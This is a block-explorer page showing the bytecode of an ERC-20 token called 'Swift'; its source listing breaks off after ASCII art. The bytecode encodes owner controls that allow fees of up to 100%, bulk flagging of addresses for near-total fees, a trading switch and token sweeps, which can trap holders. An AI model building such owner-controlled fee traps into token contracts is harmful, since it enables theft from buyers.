Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xacC48f65F8701f376bC4Ba13f4BC103F31dDa74E
Balance 0 ETH
Nonce 1
Code Size 15070 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

15070 bytes
0x6080604052600436106101855760003560e01c806378109e54116100d157806395d89b411161008a578063a9059cbb11610064578063a9059cbb14610569578063dd62ed3e146105a6578063e46b3b3f146105e3578063f2fde38b1461060c5761018c565b806395d89b41146104ea5780639d8740cb14610515578063a8aa1b311461053e5761018c565b806378109e54146103ec5780637cca52fe146104175780637d1db4a514610442578063893d20e81461046d5780638cd4426d146104985780639213c358146104c15761018c565b8063293230b81161013e5780633f4218e0116101185780633f4218e01461033257806348ff2b8b1461036f57806351bc3c851461039857806370a08231146103af5761018c565b8063293230b8146102b35780632f54bf6e146102ca578063313ce567146103075761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f9578063229b6a5e1461022457806323b872dd1461024d578063279a3e321461028a5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610635565b6040516101b39190612a1e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612ade565b610672565b6040516101f09190612b39565b60405180910390f35b34801561020557600080fd5b5061020e610689565b60405161021b9190612b63565b60405180910390f35b34801561023057600080fd5b5061024b60048036038101906102469190612c0f565b6106ca565b005b34801561025957600080fd5b50610274600480360381019061026f9190612c6f565b6107b7565b6040516102819190612b39565b60405180910390f35b34801561029657600080fd5b506102b160048036038101906102ac9190612cc2565b610882565b005b3480156102bf57600080fd5b506102c861096b565b005b3480156102d657600080fd5b506102f160048036038101906102ec9190612d64565b6109d0565b6040516102fe9190612b39565b60405180910390f35b34801561031357600080fd5b5061031c610a29565b6040516103299190612dad565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612d64565b610a32565b6040516103669190612b39565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612dc8565b610a52565b005b3480156103a457600080fd5b506103ad610af5565b005b3480156103bb57600080fd5b506103d660048036038101906103d19190612d64565b610b4a565b6040516103e39190612b63565b60405180910390f35b3480156103f857600080fd5b50610401610b93565b60405161040e9190612b63565b60405180910390f35b34801561042357600080fd5b5061042c610b99565b6040516104399190612b63565b60405180910390f35b34801561044e57600080fd5b50610457610b9f565b6040516104649190612b63565b60405180910390f35b34801561047957600080fd5b50610482610ba5565b60405161048f9190612e17565b60405180910390f35b3480156104a457600080fd5b506104bf60048036038101906104ba9190612ade565b610bce565b005b3480156104cd57600080fd5b506104e860048036038101906104e39190612e32565b610d5f565b005b3480156104f657600080fd5b506104ff610f77565b60405161050c9190612a1e565b60405180910390f35b34801561052157600080fd5b5061053c60048036038101906105379190612e85565b610fb4565b005b34801561054a57600080fd5b50610553611068565b6040516105609190612e17565b60405180910390f35b34801561057557600080fd5b50610590600480360381019061058b9190612ade565b61108e565b60405161059d9190612b39565b60405180910390f35b3480156105b257600080fd5b506105cd60048036038101906105c89190612ed8565b6110a5565b6040516105da9190612b63565b60405180910390f35b3480156105ef57600080fd5b5061060a60048036038101906106059190612e85565b61112c565b005b34801561061857600080fd5b50610633600480360381019061062e9190612f56565b6112a7565b005b60606040518060400160405280600581526020017f5377696674000000000000000000000000000000000000000000000000000000815250905090565b600061067f338484611369565b6001905092915050565b60006106c56106986000610b4a565b6106b76106a661dead610b4a565b60015461153290919063ffffffff16565b61153290919063ffffffff16565b905090565b6106d3336109d0565b610712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070990612fcf565b60405180910390fd5b60005b838390508110156107b157816005600086868581811061073857610737612fef565b5b905060200201602081019061074d9190612d64565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107a99061304d565b915050610715565b50505050565b60006107c4848484611548565b610877843361087285604051806060016040528060288152602001613a8160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e129092919063ffffffff16565b611369565b600190509392505050565b61088b336109d0565b6108ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c190612fcf565b60405180910390fd5b86600d8190555085600e819055508460108190555083600f8190555082601181905550816012819055508060138190555060145460115411158015610913575060145460125411155b8015610923575060145460135411155b610962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095990613107565b60405180910390fd5b50505050505050565b610974336109d0565b6109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa90612fcf565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b60046020528060005260406000206000915054906101000a900460ff1681565b610a5b336109d0565b610a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9190612fcf565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610afe336109d0565b610b3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3490612fcf565b60405180910390fd5b610b48600b54611e67565b565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601a5481565b60195481565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610bd7336109d0565b610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612fcf565b60405180910390fd5b6000610cb76064610ca9848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c5a9190612e17565b602060405180830381865afa158015610c77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9b919061313c565b6120d490919063ffffffff16565b6120ea90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610d16929190613169565b6020604051808303816000875af1158015610d35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5991906131a7565b50505050565b610d68336109d0565b610da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9e90612fcf565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60606040518060400160405280600581526020017f5357494654000000000000000000000000000000000000000000000000000000815250905090565b610fbd336109d0565b610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff390612fcf565b60405180910390fd5b82600a8190555061102d620186a061101f846001546120d490919063ffffffff16565b6120ea90919063ffffffff16565b600b8190555061105d620186a061104f836001546120d490919063ffffffff16565b6120ea90919063ffffffff16565b600c81905550505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061109b338484611548565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611135336109d0565b611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b90612fcf565b60405180910390fd5b600061119f612710611191866001546120d490919063ffffffff16565b6120ea90919063ffffffff16565b905060006111cc6127106111be866001546120d490919063ffffffff16565b6120ea90919063ffffffff16565b905060006111f96127106111eb866001546120d490919063ffffffff16565b6120ea90919063ffffffff16565b9050826018819055508160198190555080601a8190555060006112416103e86112336005611225610689565b6120d490919063ffffffff16565b6120ea90919063ffffffff16565b90508084101580156112535750808310155b801561125f5750808210155b61129e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129590613246565b60405180910390fd5b50505050505050565b6112b0336109d0565b6112ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e690612fcf565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161135e91906132c5565b60405180910390a150565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cf90613352565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143e906133e4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115259190612b63565b60405180910390a3505050565b600081836115409190613404565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ae906134aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161d9061353c565b60405180910390fd5b61162f83610b4a565b811115611671576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611668906135ce565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117155750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561176a57600760149054906101000a900460ff16611769576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117609061363a565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561180e5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118685750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118a2575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561193e57601a546118fc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210090919063ffffffff16565b111561193d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611934906136a6565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a8157601954811115806119ed5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611a415750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790613712565b60405180910390fd5b5b60185481111580611adb5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b2f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6590613712565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611c155750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c3557600160086000828254611c2d9190613732565b925050819055505b611c40838383612116565b15611c5957611c50600b54611e67565b60006008819055505b611cab81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611cfa8484612250565b611d045781611d10565b611d0f8484846122fe565b5b9050611d6481600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210090919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e049190612b63565b60405180910390a350505050565b6000838311158290611e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e519190612a1e565b60405180910390fd5b5082840390509392505050565b6001600960006101000a81548160ff0219169083151502179055506000611ed56002611ec7600f54611eb9600e54611eab6001600d5461210090919063ffffffff16565b61210090919063ffffffff16565b61210090919063ffffffff16565b6120d490919063ffffffff16565b90506000611f0082611ef2600d54866120d490919063ffffffff16565b6120ea90919063ffffffff16565b90506000611f17828561153290919063ffffffff16565b90506000479050611f27826124bc565b6000611f3c824761153290919063ffffffff16565b90506000611f67611f58600d548861153290919063ffffffff16565b836120ea90919063ffffffff16565b90506000611f80600d54836120d490919063ffffffff16565b90506000811115611f9657611f9586826126ff565b5b6000611fc0600e54611fb26002866120d490919063ffffffff16565b6120d490919063ffffffff16565b9050600081111561203557601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612033573d6000803e3d6000fd5b505b600047905060008111156120ad57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120ab573d6000803e3d6000fd5b505b5050505050505050506000600960006101000a81548160ff02191690831515021790555050565b600081836120e29190613766565b905092915050565b600081836120f891906137d7565b905092915050565b6000818361210e9190613732565b905092915050565b600080600c5483101590506000600b5461212f30610b4a565b10159050600960009054906101000a900460ff1615801561215c5750600760159054906101000a900460ff165b80156121745750600760149054906101000a900460ff165b801561217d5750815b80156121d35750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561222c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b801561223c5750600a5460085410155b80156122455750805b925050509392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122f65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b60008061230b85856127ff565b11156124b157600061234361232086866127ff565b612335601454866120ea90919063ffffffff16565b6120d490919063ffffffff16565b905061239781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124379190612b63565b60405180910390a3600060105411801561245b575060105461245986866127ff565b115b15612496576124953061dead612490601054612482601454896120ea90919063ffffffff16565b6120d490919063ffffffff16565b611548565b5b6124a9818461153290919063ffffffff16565b9150506124b5565b8190505b9392505050565b6000600267ffffffffffffffff8111156124d9576124d8613808565b5b6040519080825280602002602001820160405280156125075781602001602082028036833780820191505090505b509050308160008151811061251f5761251e612fef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ea919061384c565b816001815181106125fe576125fd612fef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061266530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611369565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126c9959493929190613972565b600060405180830381600087803b1580156126e357600080fd5b505af11580156126f7573d6000803e3d6000fd5b505050505050565b61272c30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611369565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016127b5969594939291906139cc565b60606040518083038185885af11580156127d3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906127f89190613a2d565b5050505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128a25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128c4576128bd606460145461153290919063ffffffff16565b9050612988565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612923576012549050612988565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612982576011549050612988565b60135490505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129c85780820151818401526020810190506129ad565b60008484015250505050565b6000601f19601f8301169050919050565b60006129f08261298e565b6129fa8185612999565b9350612a0a8185602086016129aa565b612a13816129d4565b840191505092915050565b60006020820190508181036000830152612a3881846129e5565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a7582612a4a565b9050919050565b612a8581612a6a565b8114612a9057600080fd5b50565b600081359050612aa281612a7c565b92915050565b6000819050919050565b612abb81612aa8565b8114612ac657600080fd5b50565b600081359050612ad881612ab2565b92915050565b60008060408385031215612af557612af4612a40565b5b6000612b0385828601612a93565b9250506020612b1485828601612ac9565b9150509250929050565b60008115159050919050565b612b3381612b1e565b82525050565b6000602082019050612b4e6000830184612b2a565b92915050565b612b5d81612aa8565b82525050565b6000602082019050612b786000830184612b54565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612ba357612ba2612b7e565b5b8235905067ffffffffffffffff811115612bc057612bbf612b83565b5b602083019150836020820283011115612bdc57612bdb612b88565b5b9250929050565b612bec81612b1e565b8114612bf757600080fd5b50565b600081359050612c0981612be3565b92915050565b600080600060408486031215612c2857612c27612a40565b5b600084013567ffffffffffffffff811115612c4657612c45612a45565b5b612c5286828701612b8d565b93509350506020612c6586828701612bfa565b9150509250925092565b600080600060608486031215612c8857612c87612a40565b5b6000612c9686828701612a93565b9350506020612ca786828701612a93565b9250506040612cb886828701612ac9565b9150509250925092565b600080600080600080600060e0888a031215612ce157612ce0612a40565b5b6000612cef8a828b01612ac9565b9750506020612d008a828b01612ac9565b9650506040612d118a828b01612ac9565b9550506060612d228a828b01612ac9565b9450506080612d338a828b01612ac9565b93505060a0612d448a828b01612ac9565b92505060c0612d558a828b01612ac9565b91505092959891949750929550565b600060208284031215612d7a57612d79612a40565b5b6000612d8884828501612a93565b91505092915050565b600060ff82169050919050565b612da781612d91565b82525050565b6000602082019050612dc26000830184612d9e565b92915050565b60008060408385031215612ddf57612dde612a40565b5b6000612ded85828601612a93565b9250506020612dfe85828601612bfa565b9150509250929050565b612e1181612a6a565b82525050565b6000602082019050612e2c6000830184612e08565b92915050565b600080600060608486031215612e4b57612e4a612a40565b5b6000612e5986828701612a93565b9350506020612e6a86828701612a93565b9250506040612e7b86828701612a93565b9150509250925092565b600080600060608486031215612e9e57612e9d612a40565b5b6000612eac86828701612ac9565b9350506020612ebd86828701612ac9565b9250506040612ece86828701612ac9565b9150509250925092565b60008060408385031215612eef57612eee612a40565b5b6000612efd85828601612a93565b9250506020612f0e85828601612a93565b9150509250929050565b6000612f2382612a4a565b9050919050565b612f3381612f18565b8114612f3e57600080fd5b50565b600081359050612f5081612f2a565b92915050565b600060208284031215612f6c57612f6b612a40565b5b6000612f7a84828501612f41565b91505092915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000612fb9600683612999565b9150612fc482612f83565b602082019050919050565b60006020820190508181036000830152612fe881612fac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061305882612aa8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361308a5761308961301e565b5b600182019050919050565b7f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60008201527f6f7265207468616e203130302500000000000000000000000000000000000000602082015250565b60006130f1602d83612999565b91506130fc82613095565b604082019050919050565b60006020820190508181036000830152613120816130e4565b9050919050565b60008151905061313681612ab2565b92915050565b60006020828403121561315257613151612a40565b5b600061316084828501613127565b91505092915050565b600060408201905061317e6000830185612e08565b61318b6020830184612b54565b9392505050565b6000815190506131a181612be3565b92915050565b6000602082840312156131bd576131bc612a40565b5b60006131cb84828501613192565b91505092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000613230602e83612999565b915061323b826131d4565b604082019050919050565b6000602082019050818103600083015261325f81613223565b9050919050565b6000819050919050565b600061328b61328661328184612a4a565b613266565b612a4a565b9050919050565b600061329d82613270565b9050919050565b60006132af82613292565b9050919050565b6132bf816132a4565b82525050565b60006020820190506132da60008301846132b6565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061333c602483612999565b9150613347826132e0565b604082019050919050565b6000602082019050818103600083015261336b8161332f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133ce602283612999565b91506133d982613372565b604082019050919050565b600060208201905081810360008301526133fd816133c1565b9050919050565b600061340f82612aa8565b915061341a83612aa8565b92508282039050818111156134325761343161301e565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613494602583612999565b915061349f82613438565b604082019050919050565b600060208201905081810360008301526134c381613487565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613526602383612999565b9150613531826134ca565b604082019050919050565b6000602082019050818103600083015261355581613519565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b60006135b8603183612999565b91506135c38261355c565b604082019050919050565b600060208201905081810360008301526135e7816135ab565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b6000613624600e83612999565b915061362f826135ee565b602082019050919050565b6000602082019050818103600083015261365381613617565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613690601e83612999565b915061369b8261365a565b602082019050919050565b600060208201905081810360008301526136bf81613683565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006136fc601183612999565b9150613707826136c6565b602082019050919050565b6000602082019050818103600083015261372b816136ef565b9050919050565b600061373d82612aa8565b915061374883612aa8565b92508282019050808211156137605761375f61301e565b5b92915050565b600061377182612aa8565b915061377c83612aa8565b925082820261378a81612aa8565b915082820484148315176137a1576137a061301e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006137e282612aa8565b91506137ed83612aa8565b9250826137fd576137fc6137a8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061384681612a7c565b92915050565b60006020828403121561386257613861612a40565b5b600061387084828501613837565b91505092915050565b6000819050919050565b600061389e61389961389484613879565b613266565b612aa8565b9050919050565b6138ae81613883565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6138e981612a6a565b82525050565b60006138fb83836138e0565b60208301905092915050565b6000602082019050919050565b600061391f826138b4565b61392981856138bf565b9350613934836138d0565b8060005b8381101561396557815161394c88826138ef565b975061395783613907565b925050600181019050613938565b5085935050505092915050565b600060a0820190506139876000830188612b54565b61399460208301876138a5565b81810360408301526139a68186613914565b90506139b56060830185612e08565b6139c26080830184612b54565b9695505050505050565b600060c0820190506139e16000830189612e08565b6139ee6020830188612b54565b6139fb60408301876138a5565b613a0860608301866138a5565b613a156080830185612e08565b613a2260a0830184612b54565b979650505050505050565b600080600060608486031215613a4657613a45612a40565b5b6000613a5486828701613127565b9350506020613a6586828701613127565b9250506040613a7686828701613127565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c62d746a462303c85f6d76427cdaa64b36a265ce0988ed0507b847ac1f1447264736f6c63430008130033

Verified Source Code Partial Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: No
Swift.sol 382 lines
/*
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%@@@%  #@@@@@   *@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&  ,@@@   @@@@@/      &@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.  /@.  &@@&  *@@@@@         @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@   *@@@@@@@@@@@@@@@@@@#          %@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@@@@@@@@@@@@@@@          #@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@        @@@@@@@@@@@@@@@@@@@@@@@
